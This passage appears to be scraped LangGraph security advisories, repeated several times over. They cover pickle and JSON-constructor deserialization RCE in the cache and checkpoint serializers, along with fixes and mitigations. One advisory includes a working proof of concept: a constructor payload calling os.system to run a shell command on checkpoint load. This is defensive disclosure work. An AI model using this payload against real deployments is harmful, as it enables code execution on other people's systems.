The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

